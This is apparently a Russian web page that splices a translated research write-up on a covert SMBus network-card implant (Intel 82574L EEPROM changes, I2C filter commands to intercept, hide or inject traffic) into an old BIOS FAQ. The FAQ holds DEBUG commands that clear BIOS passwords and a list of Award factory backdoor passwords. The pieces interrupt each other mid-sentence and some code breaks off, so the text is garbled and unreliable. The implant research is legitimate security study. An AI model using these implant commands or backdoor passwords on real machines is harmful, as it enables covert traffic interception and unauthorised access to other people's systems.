При разработке программного обеспечения для микроконтроллеров Winbond можно использовать средства разработки для С-51 микроконтроллеров, поставляемые большим числом производителей программного обеспечения. Многие из них в настоящее время предлагают программное обеспечение либо совсем бесплатно (к примеру, симулятор PDS-52 компании Phyton), либо с небольшими ограничениями на объем генерируемого программного кода. На сайте фирмы Winbond приводится обширный перечень рекомендуемых поставщиков средств поддержки для производимых ею микроконтроллеров.
История от Bloomberg о том, что на материнских платах якобы были установлены некие импланты [Китайцы использовали микрочип, чтобы контролировать американские компьютеры], не прошла незамеченной. После неё многие люди делились идеями по поводу возможности создания подобных имплантов (их предполагаемого размера, возможностей или способа их обнаружения).
Через несколько дней журнал Bloomberg выпустил статью с дополнительными доказательствами. Вот что конкретно подогрело наш интерес:
Существуют способы взаимодействия с сетевой картой прямо с материнской платы. Несколько людей указали на то, что можно поиграться с BMC (Baseboard Management Controller – компонент, разрешающий доступ к серверу помимо основного канала), что позволит импланту контролировать BMC и получать доступ к сетевой карте. Но как это работает на практике? Давайте посмотрим, сможем ли мы это воспроизвести.Получение информации
Как вы могли догадаться, мы продолжили читать документацию и отправлять специально подготовленные команды на NIC для проверки того, что всё работает, как ожидалось.
[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]
[START] и [STOP] – это условия START и STOP, определяемые протоколом I 2 C.
К примеру, команда на чтение MAC-адреса (описанная в главе 8.8.2.3) будет 0xD4. Отправляем команду в SMBus в режиме I 2 C:
[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]
При переводе в команды Hydrabus это будет:
i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK I2C START WRITE: 0x92 ACK 07 D4 | .. 68 05 CA 89 B2 2E | h. NACK
I2C STOPИ, да, мы получаем наш MAC-адрес!
Начальная позиция
Посмотрим на наличие возможных интерфейсов между NIC (сетевой платой) и BMC. Один из основных протоколов для работы по выделенному каналу – это интеллектуальный интерфейс управления платформой IPMI.
Википедия говорит, что IPMI — «интеллектуальный интерфейс управления платформой, предназначенный для автономного мониторинга и управления функциями, встроенными непосредственно в аппаратное и микропрограммное обеспечения серверных платформ. Ключевые характеристики IPMI — мониторинг, восстановление функций управления, журналирование и инвентаризация, которые доступны независимо от процессора, BIOS'a и операционной системы. Функции управления платформой могут быть доступны, даже если система находится в выключенном состоянии». Весьма похоже на то, что нам нужно.
На следующей блок-схеме показан возможный путь реализации проекта:
IPMI на самом деле определяет два Sideband-канала для NIC: SMBus и NC-SI. NC-SI – это современная замена SMBus, поддерживающая увеличенную скорость передачи данных и другие новые возможности. Проблема в том, что ей требуется больше сигналов (порядка 10), и в её работу гораздо сложнее вмешаться в случае, когда мы работаем с имплантом. Так что пока остановимся на SMBus.
SMBus
SMBus (System Management Bus) — последовательный протокол обмена данными для устройств питания. Односторонняя простая двухпроводная шина, обеспечивающая несложные коммуникации. Чаще всего используется в компьютерах для связи материнской платы с источником питания и отправки инструкций вида вкл/выкл. Основан на шине I 2 C, обычно использующейся в микроконтроллерах. Интерфейсу нужно всего два сигнала (тактовая частота и данные), и третий сигнал — прерывание. Идеально подходящий для игр с имплантом протокол.
Звуковые сигналы
Число сигналов Проблема Решение 1 длинный 2 коротких Video error Переинсталлируйте видеокарту. Проверьте видеопамять. Замените карту Короткие сигналы Memory error Проблемы с памятью. Попробуйте заменить модули памяти. – Что означают аварийные звуковые сигналы, выдаваемые Phoenix BIOS при загрузке?
Доступ к SMBus
Мы сходили в магазин, и теперь у нас есть карточки Intel EXPI9301CTBLK с чипом 82574L. Что теперь?
В документации можно отследить SMB_DAT и SMB_ALRT_N. К счастью, все они оказались доступными на контактных площадках. Вроде бы всё достаточно легко.
NIC PCB. Слева вверху – EEPROM, справа вверху — коннектор для SMBus [ALRT|CLK|DAT]. Обратите внимание, что R39 и R40 отпаяны, что запрещает доступ к SMBus для коннектора PCIe.Мы подключили зонд I 2 C и просканировали SMBus, но ничего полезного не считали. Документация говорит, что SMBus включается только при установке определённого битового регистра. Это значение загружается с EEPROM. Пришло время копнуть глубже.
Делаем имплант
Теперь, зная, как можно общаться с NIC, посмотрим, как можно использовать этот канал для кражи сетевого трафика и отправки данных по сети. В главе 8 документации описано всё, что нужно для этого.
Заключения
Мы описали возможный метод внедрения небольшого и недорогого микроконтроллера в качестве импланта на уровне NIC. Такому импланту нужны, по меньшей мере, четыре контакта (Vcc, GND, CLK, DAT), и он может управлять картой сервера. Среди его возможностей:
- Прослушивание входящего сетевого трафика на сервер.
- Получение команд из сети без ведома сервера.
- Передача данных по сети без ведома сервера.
Однако в реальной жизни доступ у такого импланта был бы только к SMBus. В зависимости от схемы материнской платы это устройство может быть единственным из доступных, и тогда взаимодействие с ОС сервера будет невозможно. В случае, когда требуется полный контроль над ОС, лучше всего будет изменить код BMC, поскольку у него и так уже есть доступ ко всем интересным шинам, и он не оставляет видимых следов на материнке.
Ещё один недостаток такого импланта состоит в том, что он может передавать данные на скорости порядка 100 Кб/с, чего недостаточно для полного изучения трафика. Кроме того, имплант способен перехватывать только трафик, приходящий из сети. В результате данное решение кажется неэффективным по сравнению с теми усилиями, которые требуются для его внедрения в оборудование цели.
BIOS (basic input/output system) — базовая система ввода-вывода — это встроенное в компьютер программное обеспечение, которое ему доступно без обращения к диску. На PC BIOS содержит код, необходимый для управления клавиатурой, видеокартой, дисками, портами и другими устройствами.
Обычно BIOS размещается в микросхеме ПЗУ (ROM), размещенной на материнской плате компьютера (поэтому этот чип часто называют ROM BIOS). Эта технология позволяет BIOS всегда быть доступным, несмотря на повреждения, например, дисковой системы. Это также позволяет компьютеру самостоятельно загружаться. Поскольку доступ к RAM (оперативной памяти) осуществляется значительно быстрее, чем к ROM, многие производители компьютеров создают системы таким образом, чтобы при включении компьютера выполнялось копирование BIOS из ROM в оперативную память. Задейтвованная при этом область памяти называется Shadow Memory (теневая память).
В настоящее время, почти все материнские платы комплектуются Flash BIOS, BIOSом, который в любой момент может бытть перезаписан в микросхеме ROM при помощи специальной программы.
BIOS PC стандартизирован, поэтому, в принципе менять его, также как, например, операционные системы нет необходимости. Дополнительные возможности компьютера можно использовать только использованием нового программного обеспечения.
BIOS, который поддерживает технологию Plug-and-Play, называется PnP BIOS. При использовании этой технологии BIOS должен быть обязательно прошит во Flash ROM.
– Как определить, что установленный на материнской плате BIOS, прошит во Flash ROM?
- 28Fxxx — 12V Flash память
- 29Cxxx — 5V Flash память
- 29LVxxx — 3V Flash memory (раритет)
- 28Cxxx — EEPROM, почти то же, что и Flash память
- 27Cxxx — с окошком. EPROM: только для чтения, требует программатор для записи и ультрафиолетовую лампу для стирания
- PH29EE010: SST ROM Чип — перепрошиваемый
- 29EE011: Winbond чип — 5V Flash память
- 29C010: Atmel Chip — 5V Flash память
– Зачем необходима перепрошивка новых версий BIOS?
Существует несколько причин, по которым это приходится делать. Основная из них — Windows 95 не всегда хорошо конфигурируется, если используются старые версии BIOS.
В настоящее время используются жесткие диски объемом более 528Мбайт. Для работы такого диска в системе необходимо поддержка LBA со стороны BIOS. Если BIOS не поддерживает LBA, то для работы с большими жесткими дисками приходится применять специальные утилиты. Применение таких утилит вызовет работу Windows 95 в compatible mode, что отрицательно сказывается на быстродействии.
Полная поддержка Plug-and-Play со стороны Windows 95 возможна только в случае применения PnP BIOS. Это очень веская причина для перепрошивки BIOS.
Кроме вышеуказанного, в новых версиях BIOS исправляются мелкие ошибки и недоработки. Новые версии могут содержать новые возможности, как то загрузка с CD ROM, SCSI перед IDE и т.п.
– Где можно скачать новые версии BIOS?
Во-первых новые версии BIOS доступны на сайтах их производителей. Во-вторых обычно производители материнских плат предлагают BIOSы для своих изделий. Так что, если знать производителя и название материнской платы, проблем не возникнет.
В принципе, название материнской платы можно и не знать. Обычно допускается прошивка BIOS от других плат, если на них установлен такой же чипсет и контроллер ввода-вывода. Однако такой возможностью следует пользоваться только в случае крайней необходимости, так как возможны другие несоответствия, например в количестве слотов и т.п., а прошивка неправильного BIOS может привести к тому, что материнскую плату придется выкидывать.
– Что делать, если производителя и название материнской платы определить не удается?
Чаще всего, производителя и название материнской платы можно определить по идентификационной строке, которую выдает BIOS сразу при включении компьютера.
Для AMI BIOS эта строка имеет вид, похожий на
51-0102-1101-00111111-101094-AMIS123-P или 40-01S5-ZZ1124-10101111-060691-OPWBSX-F,
где производитель определяется третьей группой цифр. Далее необходимо найти свой идентификационный номер в таблице соответствия номеров и названий производителей. Определить название материнской платы можно по всей идентификациолнной строке, пользуясь тем же документом.Идентификационная строка Award BIOS имеет вид
2A59CQ1CC
и позволяет определить чипсет (первые пять цифр и букв — 2A59C), производителя материнской платы (следующие два символа — Q1) и модель материнской платы (оставшаяся часть строки — CC). Далее необходимо посмотреть обозначения чипсетов, производителей и моделей в идентификационных строках.– Как перепрошить Flash BIOS?
- awdflash xxx.bin (для Award BIOS)
- amiflash xxx.bin (для AMI BIOS)
- mrflash xxx.bin (для MRBIOS)
- Большинство программ прошивки при запуске спрашивают, сохранить ли текущую версию BIOS. На этот вопрос рекомендуется ответить положительно, так как новый BIOS может работать не так как хотелось бы.
- Некоторые производители материнских плат могут предлагать свои собственные программы-прошивальщики. В таком случае лучше пользоваться ими.
- Перед прошивкой новой версии BIOS выключите опцию System BIOS Cacheable в Setup.
- Если в Вашей системе процессор разогнан, то на время перепрошивки BIOS поставьте его на штатную частоту.
- В Setup в разделе Chipset Features Setup, отключите Video Bios Cacheable.
- Выйдете из Setup.
- Перезагрузитесь под чистым DOS (нажав F8 и выбрав Safe Mode Command Prompt only)
- Перепрошейте BIOS и перезагрузитесь
- Войдите в Setup и установите опцию Video Bios Cacheable в Enable.
– Что будет, если запортить BIOS или прошить неправильную версию?
Скорее всего, компьютер не будет грузиться, даже не подавая признаков жизни.
– Как восстановить поврежденный BIOS?
- Беpем любую pаботающую мать, поддеpживающую флэш (совеpшенно необязательно, чтоб она была на том же чипсете, на котоpый pассчитан BIOS, котоpый мы хотим записать). Можно пpосто найти флэш или ПЗУ от матеpи, аналогичной той, флэш из котоpой мы будем пеpеписывать, и вpеменно поставить его (пеpеставив, если нужно, джампеpа типа флэша). Или, если есть пpогpамматоp, только он не умеет писать флэш — найти ПЗУ подходящего pазмеpа и записать его.
- Вынимаем флэш или ПЗУ из этой матеpи, обвязываем его с двух концов двумя кольцами нитки (чтоб можно было его легко извлечь) и неплотно втыкаем назад в панельку.
- Загpужаемся в "голый" ДОС, выдеpгиваем за эти два кольца стоящий в матеpи флэш или ПЗУ (все pавно он нужен только пpи загpузке), если нужно, пеpеставляем джампеpа типа флэша, и вставляем флэш, котоpый нужно записать. Главное тут — ничего не замкнуть :)
- Запускаем пpогpамму записи, pассчитанную на мать, на котоpой пишем, BIOS с котоpым гpузились и флэш, котоpый нужно записать (пpогpамма должна уметь пеpеписывать флэш целиком, напpимеp, из комплекта mr-bios или asusовский pflash). Пишем, выключаем питание и вынимаем готовый флэш. Все.
- Извлечь PCI-видеокарту (все нижеописанное не будет работать с PCI-видео, так как для инициализации PCI необходим BIOS)
- Установить старую ISA-видеокарту и подключить монитор
- Вставить загрузочную дискету в дисковод А:
- Включить компьютер
- Компьютер заработает благодаря Award Boot Block
- Вставить предварительно созданную дискету с прошивальщиком и правильным BIOS
- Перепрошить BIOS
- Перезагрузиться
- Выключить компьютер и поменять видеокарту обратно. Все — теперь можно работать
- Установить Flash Recovery jumper в положение recovery mode (к сожалению, такую возможность имеют не все платы)
- Вставить загрузочную bootable upgrade дискету, которой комплектуется каждая интеловская плата, в дисковод A:
- Перезагрузиться
- Во время этой процедуры экран будет оставаться темным, так как в непрошиваемой boot block area не содержатся функции работы с видео. Эта процедура может контролироваться только пищанием спикера и миганием лампочки дисковода. Когда компьютер пискнеть и лампочка дисковода загорится, можно считать, что система копирует необходимые данные во Flash ROM. Как только лампочка дисковода погаснет, прошивка закончится.
- Выключить компьютер
- Вернуть Flash Recovery jumper обратно в положение по умолчанию
- Вынуть дискету из дисковода и включить компьютер
– Что такое PROM, EPROM и ЕEPROM и чем они отличаются?
PROM (programmable read-only memory — программируемая память только для чтения) — это чип памяти, данные в который могут быть записаны только однажды. То что записано в PROM, не вырубишь топором :) (хранится в нем всегда). В отличии от основной памяти, PROM содержит данные даже когда компьютер выключен.
Отличие PROM от ROM (read-only memory — память только для чтения) в том, что PROM изначально производятся чистыми, в тот время как в ROM данные заносятся в процессе производства. А для записи данных в чипы PROM, применяются специальные устройства, называемые программаторами.
EPROM (erasable programmable read-only memory — стираемая программируемая память только для чтения) — специальный тип PROM, который может очищаться с использованием ультрафиолетовых лучей. После стирания, EPROM может быть перепрограммирована. EEPROM — по сути похожа на PROM, но для стирания требует электрических сигналов.
EEPROM (electrically erasable programmable read-only memory — электрически стираемая программируемая память только для чтения) — специальный тип PROM, который может быть очищен электрическим разрядом. Подобно другим типам PROM, EEPROM содержит данные и при выключенном питании компьютера. Аналогично всем другим типам ROM, EEPROM работает не выстрее RAM.
Специальный тип EEPROM, называемый Flash memory или Flash EEPROM, может быть перезаписан без применения дополнительных устройств типа программатора, находясь в компьютере.
– Как сбросить установки BIOS (включая пароль) в значения по умолчанию из DOS?
Так как не все материнские платы оборудованы джампером для сброса установок BIOS или этот джампер может быть недоступен, то существует метод очистки BIOS из DOS, при помощи команды debug. Загрузившись в DOS (не в DOS-box под Windows!) необходимо набрать:
Метод 1 (Award и AMI BIOS):DEBUG -O 70 17 -O 71 17 Q
Метод 2 (Phoenix BIOS):DEBUG -O 70 FF -O 71 17 Q
– Как подобрать (снять) пароль на Setup (загрузку)?
Если забыт паpоль на Setup, можно воспользоваться pазличными пpогpаммами для снятия паpоля или одним из заводских паролей.
Заводские пассворды для AWARD BIOS следующие:
AWARD_SW, TTPTHA, aPAf, HLT, lkwpeter, KDD, j262, ZBAAACA, j322, ZAAADA, Syxz, %шесть пpобелов%, Wodj, %девять пpобелов%, ZJAAADC, 01322222, j256, ?award
Один из этих паролей должен подойти. Однако в новых AWARD BIOS (версии 4.51) инженерные пароли отсутствуют. Однако существует программка для снятия/определения установленных паролей в таких BIOS.Для AMI BIOS стандартных паролей нету. Единственный случай: если вы только приобрели материнскую плату то пароль может быть AMI.
Существуют программы для определения установленного на Setup пароля. Вы можете скачать здесь эти утилиты для Award BIOS и AMI BIOS.
Hа некотоpых AMI BIOS можно сpазу после включения деpжать нажатой клавишу Ins — пpи этом в CMOS-память загpужаются стандаpтные паpаметpы.
– Как аппаратно сборосить CMOS (вместе с паролями)?
Почти на всех совpеменных системных платах pядом с батаpейкой есть пеpемычка для сбpоса CMOS-памяти (обычно — 4 контакта, ноpмальное положение — 2-3, сбpос — 1-2 или 3-4; иногда — 3 или 2 контакта).
Выпаивать и тем более замыкать батаpейку не имеет смысла — это чаще всего не пpиводит к успеху из-за констpукции схемы питания CMOS-памяти, а замыкание батаpейки сильно сокpащает сpок ее службы.
Если на плате нет батаpейки, нужно поискать пластмассовый модуль с надписью "DALLAS" (это монолитный блок с батаpейкой и микpосхемой CMOS) — пеpемычка может быть возле него.
В случае, если перемычка для очистки CMOS-памяти отсутствует, то сначала попробуйте отключить или отсоединить батарейку. При этом также рекомендуется отключить провода от блоки питания, так как заряд на его конденсаторах может сохраняться и успешно поддерживать питание CMOS RAM (ей очень мало надо) более суток.
Если это не помогло, то остается только замыкать соответствующие ножки у микросхемы CMOS-памяти, добиваясь ее очистки. Найдите, какой из перечисленных ниже чипов установлен у Вас и следуйте приведенным рекомендациям.
P82C206 Chip (квадратный) (старый)
Этот чип включает в себя всю мелкую логику AT — контроллеры DMA, прерываний, таймер а также clock chip. CMOS RAM на этом чипе очищается при замыкании контактов 12 и 32 или 74 и 75 на несколько секунд (при выключенном питании). gnd 74 _|____________________ 5v 75--| | | | | | | CHIPS | 1 * | | | P82C206 | | | |_____________________| ||||||||||||||||||||| | | | gnd | 5v 12 32F82C206 Chip (прямоугольный)
Аналогичен предыдущему. CMOS RAM на этом чипе очищается при замыкании контактов 3 и 26 на несколько секунд (при выключенном питании). 80 51 ______________________________ 81 | | 50 | | | | | OPTi | | | | F82C206 | | | 100 |______________________________| 31 |||||||||||||||||||||||||||||| 1 | | 30 | | 3 26Dallas DS1287, DS1287A, Benchmarq bp3287MT, bq3287AMT
Dallas DS1287, DS1287A с совместимые Benchmarq bp3287MT и bq3287AMT чипы имеют встроенную батарею. Эта батарея расчитана как минимум на 10 лет. На материнских платах с этим чипом не должно быть дополнительных батарей. Если батарея вышла из сторя, необходимо заманить весть чип.CMOS RAM может быть очищена на 1287A и 3287AMT чипах закорачиванием ножек 12 и 21 (при выключенном питании).
1287 (и 3287MT) отличаются от 1287A тем, что CMOS RAM не может быть очищена. И в случае если Вы забыли пароль необходимо заменить микросхему. В этом случае рекомендуется заменять на 1287A. Все также применимо к Dallas 12887 и 12887A, однако они содержат вдвое большую CMOS RAM. ___________ 1 -| * U |- 24 5 volts DC 2 -| |- 23 3 -| |- 22 4 -| |- 21 RCL (RAM Clear) 5 -| |- 20 6 -| |- 19 7 -| |- 18 8 -| |- 17 9 -| |- 16 10 -| |- 15 11 -| |- 14 Ground 12 -|__________|- 13
Motorolla MC146818AP или совместимые
Обычно это прямоугольный 24 контактный DIP chip, обычно в панельке. Совместимые производятся несколькими компаниями, напимер Hitachi HD146818AP или Samsung KS82C6818A. Номер чипа должен оканчиваться на 6818. Хотя этот чип и совместим по выводам с Dallas 1287/1287A, в нем нет встроенной батареи. Это означает, что CMOS RAM может быть очищена просто выниманием чипа из панельки на некоторое время и установкой обратно.Для уменьшения риска повреждения микросхемы рекомендуется закорачивать ножки 12 и 24 на несколько секунд при выключенном питании ___________ 1 -| * U |- 24 5 volts DC 2 -| |- 23 3 -| |- 22 4 -| |- 21 5 -| |- 20 6 -| |- 19 7 -| |- 18 8 -| |- 17 9 -| |- 16 10 -| |- 15 11 -| |- 14 Ground 12 -|__________|- 13
Dallas DS12885S или Benchmarq bq3258S
CMOS RAM на этом чипе очищается замыканием контактов 12 и 20 при выключенном питании. Также можно попробовать 12 и 24. (5Volts) 24 20 13 | | | | | | | | | | | | ----------------------------------- | | | DALLAS | |> | | DS12885S | | | ----------------------------------- | | | | | | | | | | | | 1 12 (Ground)– Что означают аварийные звуковые сигналы, выдаваемые AMI BIOS при загрузке?
Первый контакт
Приходится проявлять смекалку, не имея доступа к материнской плате с BMC. Изучая технические характеристики серверных материнок, мы обнаружили, что некоторые из них используют чип Intel 82574L. Он, согласно документации, обеспечивает «SMBus advanced pass-through interface» – как раз то, что нужно. А что лучше всего, он бывает в формате карт PCI-E.
Включаем доступ к SMBus
Нам снова помогает документация. Доступ к SMBus определяется значением регистра, загружаемого с NIC EEPROM. К счастью, EEPROM можно прочесть при помощи flashrom. Сбросив содержимое EEPROM, мы можем проанализировать и изменить значения:
Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash. done.Судя по NVM map (глава 6.1 документации), видно, что нам надо изменить два значения:
- Init Control Word 2[MNGM] (Datasheet chapter 6.1.1.6)
- Compatibility[ASF SMBus Connected] (Datasheet chapter 6.1.2.1.1)
- Compatibility[SMBus Connected] (Datasheet chapter 6.1.2.1.1)
После этого нам надо ещё разобраться со значением Checksum. В главе 6.1.2.11 указано, что сумма всех слов в диапазоне [0x00-0x40] должна равняться 0xBABA. Немного Python поможет нам подсчитать правильную контрольную сумму:
import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('И вот, наконец, все наши изменения для EEPROM:
< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h. .F.
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h. 0.F.
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i. k. Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i. k. Z.< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef . 0.
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e . 0.После внесения изменений и прошивки EEPROM мы подсоединили I 2 C зонд и:
i2c1> scan
Device found at address 0x49
i2c1>Адрес I 2 C кодируется в семи битах, требуемый нам адрес получается, как 0x49
Теперь у нас есть рабочая схема для нашего импланта. Мы можем отправлять команды в NIC:
Звуковые сигналы
Число сигналов Описание проблемы Решение 1 DRAM refresh failure Вставьте память еще раз. Если не помогает, то это проблема с памятью. 2 Parity Circuit Failure 3 Base 64K RAM failure 4 System Timer Failure Материнская плата неработоспособна 5 Processor Failure 6 Keyboard Controller / Gate A20 Failure Вытащите и вставьте чип контроллера клавиатуры. Если не помогает, замените контроллер клавиатуры. Если и это не помогает, проверьте клавиатуру и ее кабель 7 Virtual Mode Exception Error Материнская плата неработоспособна 8 Display Memory Read/Write Failure Ошибка памяти видеоадаптера. Переисталлируйте видеокарту и память на ней. Если не помогает, замените видеокарту. 9 ROM BIOS Checksum Failure Ошибка в микросхеме BIOS. Попробуйте вытащить и вставить заново этот чип. Если не помогает, необходимо перепрошить его содержимое или заменить микросхему. 10 CMOS Shutdown Register Read/Write Error Материнская плата неработоспособна 1-2 Search for option ROM (video configure fails) 1-3 Video failure Переинсталлируйте видеокарту. Если не помогает, придется ее заменить 1-2-2-3 BIOS ROM checksum 1-3-1-1 Test DRAM refresh 1-3-1-3 Test keyboard controller 1-3-4-1 Test 512K base address lines 1-3-4-3 Test 512K base memory 1-4-1-1 Test memory bus 2-1-2-3 Check ROM copyright notice 2-2-3-1 Test for unexpected interrupts 1 POST passed. Все идет по плану – Что означают аварийные звуковые сигналы, выдаваемые Award BIOS при загрузке?
Чтение пакетов
Фильтрация
Чтобы узнать, какие фреймы должны пойти в SMBus, NIC использует управляющие фильтры. Они сопоставляют трафик из сети, и либо перенаправляют его на PCIe, либо на SMBus, либо одновременно и туда и туда. С нашей точки зрения это даёт нам большую гибкость:
- Можно отслеживать трафик, поставив фильтр, который будет его проверять и перенаправлять на PCIe и SMBus.
- Можно заставить трафик исчезнуть, направив его только на SMBus.
- Можно создать скрытый канал, который не будет виден серверу с имплантом.
- UDP/TCP port
- VLAN
- IPv4 – IPv6
- MAC address
- …
Доступно семь независимых фильтров MDEF[0:6], и каждый из них можно настроить на перенаправление соответствующего трафика на PCIe поверх SMBus при помощи регистра MANC2H (подробности в главе 8.4.3).
Реализация
Настроить всё правильно оказалось довольно сложно, мы пробовали множество различных комбинаций, чтобы заставить фильтр работать. К счастью, примечание к приложению от Intel дало нам больше деталей по поводу запуска фильтров нужным нам способом.
Используя наш I 2 C-зонд, мы можем настроить всё это четырьмя командами:
// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]
// Настроить MDEF[0] на получение фреймов, идущих к UDP/664 и UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// Настроить MANC2H на запрет перенаправления к ОС
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]Как описано в главе 8.8.1.3, необходимо установить несколько битов для того, чтобы разрешить получение данных и для отправки фреймов обратно на наш имплант. Мы выбрали SMBus alert, поскольку другие модели позволяют сетевой карте осуществлять асинхронные запросы к SMBus (детали в главе 8.4.5).
Чтение фреймов
Поскольку мы использовали метод SMBus alert, нам нужно было ожидать отключения сигнала SMB_ALRT_N перед отправкой команды Receive TCO Packet. Если бы мы ждали слишком долго, пакет был бы отвергнут NIC.
Чтобы просто проиллюстрировать схему, мы будем отправлять фреймы периодически и отправлять команды на чтение – просто, чтобы подтвердить, что этот принцип работает. Схема выглядит так:
- У сервера с имплантом установлены фильтры, отслеживающие трафик с UDP / 623 (глава 3.6.1.2).
- Имплант симулируется при помощи Hydrabus.
- Другой сервер отправляет пакеты, попадающие под фильтр, при помощи скрипта Scapy:
Получается нечто интересное:
Слева SMBus читает фрейм, данные фрейма показаны внизу. Справа tcpdump, работающий на сервере с имплантом, не показывает входящих фреймов.
Ретрансляция фреймов
Меняя регистр MANC2H, возможно сделать так, чтобы трафик, который отправляется на SMBus и PCIe, корректно отображался на сервере. К примеру, давайте создадим перехватывающий фильтр, реагирующий на трафик UDP/161 (SNMP) и отправляющий его на SMBus и PCIe:
// Глобальный запрет фильтров
[ 0x92 0xca 0x01 0x40 ]
// Создать флекс-фильтр 0 на порту 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// Настроить MDEF[0] на получение трафика, совпадающего с флекс-фильтром 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// Настроить MANC2H на разрешение перенаправления трафика MDEF[0] на PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// Включить фильтрацию (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]
Вверху – перехваченный SNMP-запрос с импланта. Внизу — SNMP-запрос дошёл до сервера.Отправка пакетов
Описана в главах 8.6 и 8.8.1. Мы можем просто создать фрейм Ethernet при помощи команд. Вот пример скрипта для Hydrabus или Bus Pirate для отправки пакета:
import serial
import struct
from scapy.all import *После выполнения скрипта можно увидеть пакет, идущий от машины с имплантом, и, что самое интересное, сам сервер вообще не видит этого пакета:
Tcpdump с машины атакующего слева, сервера – справаЧитайте также: